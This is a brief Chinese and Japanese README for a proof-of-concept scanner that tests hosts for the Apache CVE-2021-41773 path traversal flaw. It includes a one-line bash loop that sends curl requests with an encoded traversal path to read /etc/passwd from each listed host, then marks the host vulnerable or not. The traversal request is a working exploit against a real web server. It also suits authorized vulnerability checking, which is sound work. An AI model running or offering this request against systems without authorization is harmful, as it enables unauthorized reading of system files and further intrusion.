
概念验证扫描器,检查主机是否存在CVE-2021-41773 Apache路径遍历漏洞,报告易受攻击或不易受攻击的状态。
CVE-2021-41773 に対してホストが脆弱かどうかを確認するための簡易的概念実証
python3 full.py hosts.txt
hosts.txt には対象ホストを記述します:
domain.com
blah.com
192.168.1.1
ホストが脆弱かどうかを出力します。
bash の Python 版:
cat hosts.txt | while read host do ; do curl -k --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n";done
お楽しみください!